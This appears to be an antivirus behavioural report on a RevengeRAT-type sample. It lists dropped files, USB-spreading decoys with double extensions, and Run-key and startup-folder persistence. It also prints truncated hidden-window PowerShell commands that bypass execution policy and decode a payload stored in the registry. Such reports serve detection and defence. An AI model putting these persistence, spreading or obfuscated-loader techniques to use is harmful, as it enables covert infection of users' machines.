Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Chungus' = '<PATH_SAMPLE>.js'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\<File name>.js
Creates the following files on removable media
- <Drive name for removable media>:\revengerat\memes
- <Drive name for removable media>:\split.avi
- <Drive name for removable media>:\split.avi.exe
- <Drive name for removable media>:\000814251_video_01.avi
- <Drive name for removable media>:\000814251_video_01.avi.exe
- <Drive name for removable media>:\archer.avi
- <Drive name for removable media>:\archer.avi.exe
- <Drive name for removable media>:\default.bmp
- <Drive name for removable media>:\default.bmp.exe
- <Drive name for removable media>:\tileimage.bmp
- <Drive name for removable media>:\contoso_1.cer
Modifies file system
Creates the following files
- %PROGRAMDATA%\revengerat\split.ico
- %TEMP%\xffjm9e0.0.vb
- %PROGRAMDATA%\revengerat\tileimage.ico
- %TEMP%\resb5e.tmp
- %TEMP%\vbcb5d.tmp
- %TEMP%\rop9goh4.out
- %TEMP%\rop9goh4.cmdline
- %TEMP%\rop9goh4.0.vb
- %PROGRAMDATA%\revengerat\default.ico
- %TEMP%\resc85a.tmp
- %TEMP%\vbcc859.tmp
- %TEMP%\2m7glye1.out
- %TEMP%\2m7glye1.cmdline
- %TEMP%\2m7glye1.0.vb
- %PROGRAMDATA%\revengerat\archer.ico
- %TEMP%\res7ab7.tmp
- %TEMP%\vbc7aa6.tmp
- %TEMP%\5sszxsrh.out
- %TEMP%\5sszxsrh.cmdline
- %TEMP%\5sszxsrh.0.vb
- %PROGRAMDATA%\revengerat\000814251_video_01.ico
- %TEMP%\res49f3.tmp
- %TEMP%\vbc49f2.tmp
- %TEMP%\erfo4oc3.out
- %TEMP%\erfo4oc3.cmdline
- %TEMP%\erfo4oc3.0.vb
- %TEMP%\xffjm9e0.cmdline
- %TEMP%\xffjm9e0.out
Sets the 'hidden' attribute to the following files
- <Drive name for removable media>:\revengerat\memes
Deletes the following files
- %TEMP%\res49f3.tmp
- %TEMP%\xffjm9e0.cmdline
- %TEMP%\rop9goh4.out
- %TEMP%\rop9goh4.0.vb
- %TEMP%\rop9goh4.cmdline
- %TEMP%\vbcb5d.tmp
- %TEMP%\resb5e.tmp
- %TEMP%\2m7glye1.cmdline
- %TEMP%\2m7glye1.out
- %TEMP%\2m7glye1.0.vb
- %TEMP%\xffjm9e0.out
- %TEMP%\vbcc859.tmp
- %TEMP%\5sszxsrh.0.vb
- %TEMP%\5sszxsrh.out
- %TEMP%\5sszxsrh.cmdline
- %TEMP%\vbc7aa6.tmp
- %TEMP%\res7ab7.tmp
- %TEMP%\erfo4oc3.0.vb
- %TEMP%\erfo4oc3.out
- %TEMP%\erfo4oc3.cmdline
- %TEMP%\vbc49f2.tmp
- %TEMP%\resc85a.tmp
- %TEMP%\xffjm9e0.0.vb
Network activity
Connects to
- 'localhost':500
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'Chungus' -value '<PATH_SAMPLE>.js' -PropertyTyp...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\<File name>.js',[System.IO.File]::ReadAllText('<PATH_SAMPLE>.js'))...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.C...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\erfo4oc3.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES49F3.tmp" "%TEMP%\vbc49F2.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\5sszxsrh.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7AB7.tmp" "%TEMP%\vbc7AA6.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\2m7glye1.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC85A.tmp" "%TEMP%\vbcC859.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\rop9goh4.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB5E.tmp" "%TEMP%\vbcB5D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\xffjm9e0.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6798.tmp" "%TEMP%\vbc6797.tmp"' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'Chungus' -value '<PATH_SAMPLE>.js' -PropertyTyp...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\<File name>.js',[System.IO.File]::ReadAllText('<PATH_SAMPLE>.js'))...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.C...
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\erfo4oc3.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES49F3.tmp" "%TEMP%\vbc49F2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\5sszxsrh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7AB7.tmp" "%TEMP%\vbc7AA6.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\2m7glye1.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC85A.tmp" "%TEMP%\vbcC859.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\rop9goh4.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB5E.tmp" "%TEMP%\vbcB5D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\xffjm9e0.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6798.tmp" "%TEMP%\vbc6797.tmp"
